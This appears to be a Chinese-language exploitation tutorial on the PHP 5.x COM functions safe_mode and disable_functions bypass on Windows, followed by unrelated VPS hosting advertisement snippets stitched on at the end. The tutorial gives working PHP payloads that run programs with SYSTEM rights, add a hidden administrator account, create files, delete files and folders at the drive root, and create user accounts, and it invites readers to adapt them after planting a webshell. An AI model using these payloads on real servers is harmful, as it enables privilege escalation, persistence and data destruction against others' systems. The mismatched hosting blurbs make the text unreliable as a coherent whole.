PHP 5.x COM functions提权漏洞的利用分析
PHP是英文“超级文本预处理语言” Hypertext Preprocessor的缩写是一种HTML内嵌式的语言。它可以比CGI或者Perl更快速地执行动态网页。PHP具有非常强大的功能所有的CGI或者JavaScript的功能 PHP都能实现支持几乎所有流行的数据库以及操作系统。 近期功能如此强大、运用如此广泛的PHP却出现了重大漏洞也就是PHP 5.xCOM functions safe_mode and disable_function bypass漏洞。它可以实现提权这是很多朋友们所梦寐以求的。下面我们先来总体介绍一下漏洞 由于本人水平有限请大家原谅不准确的地方。 漏洞所用到的COM函数只在Windows环境下的PHP才存在 .net的支持需要PHP5以及.net Runtime。漏洞所利用的函数无需特殊安装是PHP内核的一部分。Windows环境下的PHP默认支持这些扩展不用额外加载其他扩展来调用漏洞函数。
现在部分大中型网站都喜欢用PHP+Apache+Windows来架设这样的话 PHP漏洞的打击面就会很大了特别是在现在提权越来越难的形势下我想很多服务器会因为这个漏洞而沦陷的。 根据漏洞发现者公布的内容漏洞的利用要求php. ini中有如下设置。我的测试环境为PHP5.2.3+Apache2.2.3+Windows XP SP2在我的测试当中发现并不一定要严格按照这样配置大家可以自己测试一下看看。safe_mode=On
disable_functions=com_load_typel ibopen_basedir=htdocs
下面我们就逐一看看这个漏洞的内容与利用。compatUI .dl l中的RunAppl ication函数
这个漏洞的测试代码如下。
<?php
$compatUI=newCOM('{A-7F23-47E2-B7C3-97EE8DD42CD8}');
//加载compatUI .dl l $compatUI->RunAppl ication("something", "notepad.exe", 1);//运行记事本
?>
将其保存为PHP文件放到服务器上然后用IE访问就可以了。运行后IE是没有什么回显的如图1所示但实际上记事本已经运行了而且是SYSTEM权限 因为它是由系统服务来运行的所以继承了SYSTEM权限如图2所示。
利用这个漏洞我们可以运行已经上传好的木马实现WebShel l的提权。当然如果你足够无聊的话还可以写成循环让服务器运行很多记事本实现D.O.S。
Wscript运行命令
这个漏洞的测试代码如下。
<?php
$wscript=new COM('wscript.shel l '); //要用到wscript.exe
$wscript->Run("cmd.exe/c calc.exe");//运行calc.exe
?>
访问该脚本后服务器上出现了SYSTEM权限的calc.exe进程如图3所示。我们只要发挥一下想象力修改一下脚本就能加个管理员账户了具体代码如下。
<?php
$wscript=new COM('wscript.shel l ');$wscript->Run("cmd.exe/c net user admin$/add");$wscript->Run("cmd.exe/c net localgroup administrators admin$/add");
?>
访问该脚本之后即可添加管理员成功这对SYSTE M权限来说简直就是噩梦如图4所示
wshom.ocx中的OpenTextFi le
OpenTextFi le可以用于创建一个文件其中存在的漏洞的测试代码如下。
<?php
$mPath=str_repeat(". .\\",20);
$FSO=new COM('Scripting.Fi leSystemObject');//用到了wshom.ocx
$FSO->OpenTextFi le($mPath."bat.bat",8, true); //在服务器上创建文件虽然这个函数是用来打开文件的但是文件不存在就被创建了
?>
果然在C区根目录出现了这个批处理文件bat.b at如图5所示
wshom.ocx中的DeleteFi le
这个函数可以删除服务器上的文件大家要小心使用测试代码如下。<?php
$mPath=str_repeat(". .\\",20);
$FSOdelFi le=new COM('Scripting.Fi leSystemObject');
//利用了ws h o m.o cx
$FSOdelFi le->DeleteFi le($mPath.".\\*.dat",True);
//删除C区根目录的所有d at文件?>wshom.ocx中的DeleteFolder
利用这个函数可以删除服务器上的文件夹很恐怖哦。测试代码如下<?php
$mPath=str_repeat(". .\\",20);
$FSOdelFolder=new COM('Scripting.Fi leSystemObject');
//使用ws h o m.o cx
$FSOdelFolder->DeleteFolder($mPath.".\\1 1",True);
//删除特定的文件夹
?>
访问之后成功删除了c:\11这个文件夹。
shgina.dl l中Create函数创建账户
这个漏洞的测试代码如下
<?php
$user=new COM('{60664CAF-AF0D-0004-A300-5C7D25FF22A0}');
//利用shgina.dl l$user->Create("asd");
//创建账户asd
?>
不过这里要注意一下利用这个漏洞创建的账户只是属于users组的如图6所示
关于PHP 5.xCOM functions漏洞的利用就为大家介绍到这里了测试代码已经随文提供大家根据自己的需要进行适当修改即可。不过提醒大家一下 以上几个漏洞的利用前提是我们已经有了WebShel l 之后才可以上传用于提权的脚本切记哦
Webhosting24宣布自7月1日起开始对日本机房的VPS进行NVMe和流量大升级,几乎是翻倍了硬盘和流量,价格依旧不变。目前来看,日本VPS国内过去走的是NTT直连,服务器托管机房应该是CDN77*(也就是datapacket.com),加上高性能平台(AMD Ryzen 9 3900X+NVMe),还是有相当大的性价比的。此外在6月30日,又新增了洛杉矶机房,CPU为AMD Ryzen 9...
iWebFusion(iWFHosting)在部落分享过很多次了,这是成立于2001年的老牌国外主机商H4Y旗下站点,提供的产品包括虚拟主机、VPS和独立服务器租用等等,其中VPS主机基于KVM架构,数据中心可选美国洛杉矶、北卡、本德、蒙蒂塞洛等。商家独立服务器可选5个不同机房,最低每月57美元起,而大流量10Gbps带宽服务器也仅149美元起。首先我们分享几款常规服务器配置信息,以下机器可选择5...
AlphaVPS是一家保加利亚本土主机商(DA International Group Ltd),提供VPS主机及独立服务器租用等,数据中心包括美国(洛杉矶/纽约)、德国、英国和保加利亚等,公司办公地点跟他们提供的保加利亚数据中心在一栋楼内,自有硬件,提供IPv4+IPv6,支持PayPal或者信用卡等方式付款。商家提供的大硬盘VPS主机,提供128GB-2TB磁盘,最低年付15欧元起,也可以选择...